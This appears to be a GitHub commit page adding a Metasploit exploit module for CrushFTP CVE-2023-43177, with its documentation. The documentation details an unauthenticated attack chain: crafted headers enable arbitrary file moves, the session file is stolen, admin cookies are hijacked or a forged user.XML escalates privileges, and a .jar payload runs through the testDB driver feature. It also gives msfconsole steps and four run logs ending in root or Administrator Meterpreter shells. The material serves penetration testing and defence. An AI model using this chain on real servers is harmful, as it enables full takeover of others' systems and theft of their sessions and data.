Skip to content

Commit

Permalink
CrushFTP exploit module CVE-2023-43177 and documentation
Browse files Browse the repository at this point in the history
  • Loading branch information
cdelafuente-r7 committed Mar 25, 2024
1 parent 685a2e9 commit dd250a5
Show file tree
Hide file tree
Showing 3 changed files with 988 additions and 1 deletion.
Original file line number Diff line number Diff line change
@@ -0,0 +1,302 @@

## Vulnerable Application

This exploit module leverages an Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability (CVE-2023-43177) to achieve unauthenticated remote code execution. This affects CrushFTP versions prior to 10.5.1.

It is possible to set some user's session properties by sending an HTTP request with specially crafted Header key-value pairs. This enables an unauthenticated attacker to access files anywhere on the server file system and steal the session cookies of valid authenticated users. The attack consists in hijacking a user's session and escalates privileges to obtain full control of the target. Remote code execution is obtained by abusing the dynamic SQL driver loading and configuration testing feature.

### Attack Details

The module will first get an anonymous session by querying an non-existing page and set a few session properties through specifically crafted HTTP headers. The `user_log_file`, `user_log_path` and `user_log_path_custom` properties are set in a way that results in moving any file to any location on the server. This primitive is used to retrieve the CrushFTP cache session file (`sessions.obj`), which contains all the active session cookies.

From there, the module will check if one of these session cookies belongs to an administrator and upload a payload (`.jar` file) to a temporary location on the server. It will then send a request to the `testDB` API, specifying the path of the SQL driver pointing to the payload. This will result in the execution of the payload in the context of the user running CrushFTP, usually root on Linux or SYSTEM on Windows.

In case no administrator sessions are found in the session file, the module will attempt to escalate privileges of any non-administrative sessions. It will abuse the fact that CrushFTP supports filesystem-based accounts, which are defined in folders containing a `user.XML` file. This is done by taking advantage of the arbitrary file move primitive to upload and move a specifically crafted `user.XML` file to the right location.

Note that since the session cookies and other information are retrieved from the CrushFTP session file and because this file is created by the server every 10 minutes approximately, the module will attempt to download it repeatedly every 30 seconds by default (can be changed by setting the `SESSION_FILE_DELAY` option).

More details on these techniques [here](https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/).


### Install CrushFTP

Download and follow the installation steps from the official website (https://www.crushftp.com/download.html).

### Setup a new user to test the privilege escalation attack (optional)

This module can be tested with only an administrator logged into the application. To test the privilege escalation attack, a non-administrator user needs to be set up.

- Click on `Admin` and `User Management`.
- Click the `+ Add` button to create a new user (provide a username and a password).
- With this new user selected, in the `User Settings` pane, select a location in the server file system that will be the root directory for this user. You can create a new folder by clicking the first button on the left hand side. Go ahead and create multiple subdirectories also.
- Drag & drop the root folder from the left pane to the right pane and navigate to a folder you want to be writable. The root folder and its subfolders are read-only by default. Once you pick one folder, select the `Upload` and `Delete` permissions on the right hand side.
- Click `Save`.


## Verification Steps

1. Start msfconsole
1. Do: `use multi/http/crushftp_rce_cve_2023_43177`
1. Do: `set target <target>`
1. Do: `set payload <payload>`
1. Do: `run rhosts=<target address>`


You will need to have an active user's session on the server. For this, you can log into the application with an administrator account or with a non-privileged user. The latter will trigger the privilege escalation routine.
Since the module needs to download the cache session file one or two times, depending on if privilege escalation is required, this can take up to 20 minutes to get remote code execution. So, make sure the user that is authenticated has not logged out or the session timed out until the exploit finishes.


## Options

### SESSION_FILE_DELAY
The delay in seconds between attempts to download the session file (default 30).


## Scenarios

### Target 0 (Java) against CrushFTP version 10.5.0_3 on Windows

#### With an active administrator session
```
msf6 exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.54 verbose=true
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking CrushFTP Server
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711129530820_ogdYwds2NKkSxZoAGigNyNLtyFrphL
[*] Checking if the attack primitive works
[*] Logging out session cookie `1711129530820_ogdYwds2NKkSxZoAGigNyNLtyFrphL`
[+] The target appears to be vulnerable.
[*] Downloading the session file
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711129532554_mudHsRJWeg1AH7x0PyZzux9uffDBOr
[*] Getting session file at `WebInterface/Resources/libs/jq-3.6.0_9bce0d5c08-js/`
[+] Session file downloaded
[*] Logging out session cookie `1711129532554_mudHsRJWeg1AH7x0PyZzux9uffDBOr`
[*] Looking for the valid sessions
[*] Found 4 session cookies in the session file
[*] Cookie `1711129187087_HwakJiMBcOOnUrEbe6hgbTuwqH7UVZ` is valid session (username: crushadmin)
[*] Cookie `1711115282718_bh0KMR52mszSUEnVJT7u699mcIIlf3` is not valid
[*] Cookie `1711115284720_HC3QlMqFXpqoY4iSEYzXUJOThVD7SX` is not valid
[*] Cookie `1711115283356_XYu6nd3kaL4zcjtOurFUNXknYprRmu` is not valid
[*] Checking if user crushadmin is an admin (cookie: 1711129187087_HwakJiMBcOOnUrEbe6hgbTuwqH7UVZ)
[+] It is an admin! Let's create a temporary admin account
[+] Administrator account created: username=f605ec51de, password=e5864cea12
[*] [do_login] Logging in with username `f605ec51de` and password `e5864cea12`
[*] Uploading payload .jar file `c32e.jar` to C:/Users/Public/c32e.jar
[*] Triggering the payload
[*] Cleanup the temporary admin account
[*] Started bind TCP handler against 192.168.101.54:4444
[*] Sending stage (57971 bytes) to 192.168.101.54
[+] Deleted ./WebInterface/Resources/libs/jq-3.6.0_9bce0d5c08-js
[*] Meterpreter session 11 opened (10.4.227.33:57574 -> 192.168.101.54:4444) at 2024-03-22 18:46:25 +0100
[!] This exploit may require manual cleanup of 'C:/Users/Public/c32e.jar' on the target
meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : SRV-STD
OS : Windows Server 2022 10.0 (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/windows
```

#### With an active non-privileged session (privilege escalation)
```
msf6 exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.54 verbose=true
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking CrushFTP Server
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711130383791_FsmZz0FlGiiiYLl7V8qhICxtzfmQLN
[*] Checking if the attack primitive works
[*] Logging out session cookie `1711130383791_FsmZz0FlGiiiYLl7V8qhICxtzfmQLN`
[+] The target appears to be vulnerable.
[*] Downloading the session file
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711130385529_gfYIp4KJlwx6R5dy1JWcLhZZq9rOJS
[*] Getting session file at `WebInterface/Resources/libs/jq-3.6.0_9f9371966b-js/`
[+] Session file downloaded
[*] Logging out session cookie `1711130385529_gfYIp4KJlwx6R5dy1JWcLhZZq9rOJS`
[*] Looking for the valid sessions
[*] Found 1 session cookies in the session file
[*] Cookie `1711130148838_IQCFIDkPBuRaLAVq2KI9D1hAlfgh0T` is valid session (username: msfuser)
[*] Checking if user msfuser is an admin (cookie: 1711130148838_IQCFIDkPBuRaLAVq2KI9D1hAlfgh0T)
[*] Could not find any admin session or the admin account creation failed
[*] Attempting privilege escalation with session cookie {:cookie=>"1711130148838_IQCFIDkPBuRaLAVq2KI9D1hAlfgh0T", :username=>"msfuser"}
[*] Looking for a directory with write permissions
[+] Found a writable directory: /home/readonly/writable1
[*] Uploading the egg file `4daf4b7923`
[*] Uploading `user.XML` to /home/readonly/writable1/user.XML
[*] Looking for the egg in the session file
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711130396337_KcYDlC0SZA19Z2uiWqw8dDyU0bVMO1
[*] Getting session file at `WebInterface/Resources/libs/jq-3.6.0_9f9371966b-js/`
[+] Session file downloaded
[*] Session file has not changed yet, skipping
[*] Logging out session cookie `1711130396337_KcYDlC0SZA19Z2uiWqw8dDyU0bVMO1`
[*] Egg not found, wait 30 seconds and try again... (Ctrl-C to exit)
[*] Looking for the egg in the session file
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711130429011_YzjufB5IlVeRSuqRdcJdMjXfDWBQwx
[*] Getting session file at `WebInterface/Resources/libs/jq-3.6.0_9f9371966b-js/`
[+] Session file downloaded
[*] Logging out session cookie `1711130429011_YzjufB5IlVeRSuqRdcJdMjXfDWBQwx`
[*] Found the egg at FILE://C:/CrushFTP10/home/readonly/writable1/4daf4b7923 in the session file
[+] Found path `C:/CrushFTP10/home/readonly/writable1/` and it is Windows
[+] Found the file system path: C:/CrushFTP10/home/readonly/writable1/
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711130431330_KQjve6ieSt8nNrl4uJ5L7vmVmsEXsD
[*] The forged user will be `4a5b85eeb9`
[*] Moving user.XML from C:/CrushFTP10/home/readonly/writable1/ to `4a5b85eeb9` home folder and elevate privileges
[*] Logging out session cookie `1711130431330_KQjve6ieSt8nNrl4uJ5L7vmVmsEXsD`
[*] Logging into the elevated account
[*] [do_login] Logging in with username `4a5b85eeb9` and password `9adccf3732`
[+] Logged in! Now let's create a temporary admin account
[*] Logging out session cookie `1711130433073_bRLLcJRdeSHJTIEcRAOpMKzMYL0zLa`
[+] Administrator account created: username=ec71181f81, password=63524a9c6c
[*] [do_login] Logging in with username `ec71181f81` and password `63524a9c6c`
[*] Uploading payload .jar file `ea2c.jar` to C:/Users/Public/ea2c.jar
[*] Triggering the payload
[*] Cleanup the temporary admin account
[*] Started bind TCP handler against 192.168.101.54:4444
[*] Sending stage (57971 bytes) to 192.168.101.54
[+] Deleted C:/CrushFTP10/home/readonly/writable1/4daf4b7923
[+] Deleted ./WebInterface/Resources/libs/jq-3.6.0_9f9371966b-js
[*] Meterpreter session 12 opened (10.4.227.33:61332 -> 192.168.101.54:4444) at 2024-03-22 19:00:49 +0100
[!] This exploit may require manual cleanup of 'C:/Users/Public/ea2c.jar' on the target
meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : SRV-STD
OS : Windows Server 2022 10.0 (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/windows
```

### Target 0 (Java) against CrushFTP version 10.5.0_3 on Linux

#### With an active administrator session
```
msf6 exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.96 verbose=true
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking CrushFTP Server
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711130989170_opHdY12lePB0nORZlJxUqdgU9zEBuZ
[*] Checking if the attack primitive works
[*] Logging out session cookie `1711130989170_opHdY12lePB0nORZlJxUqdgU9zEBuZ`
[+] The target appears to be vulnerable.
[*] Downloading the session file
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711130990882_In2JvArUAjORTeJGGXf67Ql3gpUMC8
[*] Getting session file at `WebInterface/Resources/libs/jq-3.6.0_040ed0cbc9-js/`
[+] Session file downloaded
[*] Logging out session cookie `1711130990882_In2JvArUAjORTeJGGXf67Ql3gpUMC8`
[*] Looking for the valid sessions
[*] Found 1 session cookies in the session file
[*] Cookie `1711130936989_ZongxaZC0kfML3XvdU3d2RSL6CG76D` is valid session (username: crushadmin)
[*] Checking if user crushadmin is an admin (cookie: 1711130936989_ZongxaZC0kfML3XvdU3d2RSL6CG76D)
[+] It is an admin! Let's create a temporary admin account
[+] Administrator account created: username=998a245fc4, password=28d3804cfd
[*] [do_login] Logging in with username `998a245fc4` and password `28d3804cfd`
[*] Uploading payload .jar file `d204.jar` to /var/tmp/d204.jar
[*] Triggering the payload
[*] Cleanup the temporary admin account
[*] Started bind TCP handler against 192.168.101.96:4444
[*] Sending stage (57971 bytes) to 192.168.101.96
[+] Deleted /var/tmp/d204.jar
[+] Deleted ./WebInterface/Resources/libs/jq-3.6.0_040ed0cbc9-js
[*] Meterpreter session 13 opened (10.4.227.33:63705 -> 192.168.101.96:4444) at 2024-03-22 19:10:03 +0100
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ip-10-10-0-10
OS : Linux 6.5.0-1014-aws (amd64)
Architecture : x64
System Language : en
Meterpreter : java/linux
```


#### With an active non-privileged session (privilege escalation)
```
msf6 exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.96 verbose=true
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking CrushFTP Server
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711131564348_M6LZ3JOkdP3AHww0Xsr8nVdNLVDPOv
[*] Checking if the attack primitive works
[*] Logging out session cookie `1711131564348_M6LZ3JOkdP3AHww0Xsr8nVdNLVDPOv`
[+] The target appears to be vulnerable.
[*] Downloading the session file
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711131566040_JXiaRnA4jAMCIqnwiSbWGxPf7pAzHD
[*] Getting session file at `WebInterface/Resources/libs/jq-3.6.0_4cf0853fb7-js/`
[+] Session file downloaded
[*] Logging out session cookie `1711131566040_JXiaRnA4jAMCIqnwiSbWGxPf7pAzHD`
[*] Looking for the valid sessions
[*] Found 1 session cookies in the session file
[*] Cookie `1711131525923_krJ319nYz6GDz4VXkOfUQjbkHzaG0F` is valid session (username: msfuser)
[*] Checking if user msfuser is an admin (cookie: 1711131525923_krJ319nYz6GDz4VXkOfUQjbkHzaG0F)
[*] Could not find any admin session or the admin account creation failed
[*] Attempting privilege escalation with session cookie {:cookie=>"1711131525923_krJ319nYz6GDz4VXkOfUQjbkHzaG0F", :username=>"msfuser"}
[*] Looking for a directory with write permissions
[+] Found a writable directory: /home/readonly/writable1
[*] Uploading the egg file `e5d3f50f45`
[*] Uploading `user.XML` to /home/readonly/writable1/user.XML
[*] Looking for the egg in the session file
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711131576980_gK0M9IhcvhrhXVrAwRqS1rd8ESJ7ry
[*] Getting session file at `WebInterface/Resources/libs/jq-3.6.0_4cf0853fb7-js/`
[+] Session file downloaded
[*] Session file has not changed yet, skipping
[*] Logging out session cookie `1711131576980_gK0M9IhcvhrhXVrAwRqS1rd8ESJ7ry`
[*] Egg not found, wait 30 seconds and try again... (Ctrl-C to exit)
[*] Looking for the egg in the session file
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711131609587_sKMgxtPNJg78LMAQkx7uLVEOUGyD4G
[*] Getting session file at `WebInterface/Resources/libs/jq-3.6.0_4cf0853fb7-js/`
[+] Session file downloaded
[*] Logging out session cookie `1711131609587_sKMgxtPNJg78LMAQkx7uLVEOUGyD4G`
[*] Found the egg at FILE://home/ubuntu/CrushFTP10/home/readonly/writable1/e5d3f50f45 in the session file
[+] Found path `/home/ubuntu/CrushFTP10/home/readonly/writable1/` and it is Unix-like
[+] Found the file system path: /home/ubuntu/CrushFTP10/home/readonly/writable1/
[*] Getting a new anonymous session
[*] Anonymous session cookie: 1711131611903_PY71NprjquBlrPlZhYdnyk5JHGNfzo
[*] The forged user will be `9721e30b7c`
[*] Moving user.XML from /home/ubuntu/CrushFTP10/home/readonly/writable1/ to `9721e30b7c` home folder and elevate privileges
[*] Logging out session cookie `1711131611903_PY71NprjquBlrPlZhYdnyk5JHGNfzo`
[*] Logging into the elevated account
[*] [do_login] Logging in with username `9721e30b7c` and password `7ae6ef77cf`
[+] Logged in! Now let's create a temporary admin account
[*] Logging out session cookie `1711131613590_9nhaTwXZIH9hpyGCnJkgCd9vKAZrEI`
[+] Administrator account created: username=4c07767049, password=1267096390
[*] [do_login] Logging in with username `4c07767049` and password `1267096390`
[*] Uploading payload .jar file `926f.jar` to /var/tmp/926f.jar
[*] Triggering the payload
[*] Cleanup the temporary admin account
[*] Started bind TCP handler against 192.168.101.96:4444
[*] Sending stage (57971 bytes) to 192.168.101.96
[+] Deleted /home/ubuntu/CrushFTP10/home/readonly/writable1/e5d3f50f45
[+] Deleted /var/tmp/926f.jar
[+] Deleted ./WebInterface/Resources/libs/jq-3.6.0_4cf0853fb7-js
[*] Meterpreter session 14 opened (10.4.227.33:50007 -> 192.168.101.96:4444) at 2024-03-22 19:20:23 +0100
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ip-10-10-0-10
OS : Linux 6.5.0-1014-aws (amd64)
Architecture : x64
System Language : en
Meterpreter : java/linux
```



1 change: 0 additions & 1 deletion lib/msf/core/modules/metadata/search.rb
Original file line number Diff line number Diff line change
Expand Up @@ -202,7 +202,6 @@ def is_match(params, module_metadata)
when 'name'
match = [keyword, search_term] if module_metadata.name =~ regex
when 'os', 'platform'
match = [keyword, search_term] if module_metadata.platform =~ regex or module_metadata.arch =~ regex
if module_metadata.targets
match = [keyword, search_term] if module_metadata.targets.any? { |target| target =~ regex }
end
Expand Down
Loading

0 comments on commit dd250a5

Please sign in to comment.